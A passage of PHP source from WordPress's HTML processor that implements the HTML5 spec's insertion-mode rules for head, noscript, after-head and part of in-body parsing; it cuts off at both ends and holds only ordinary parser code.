	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
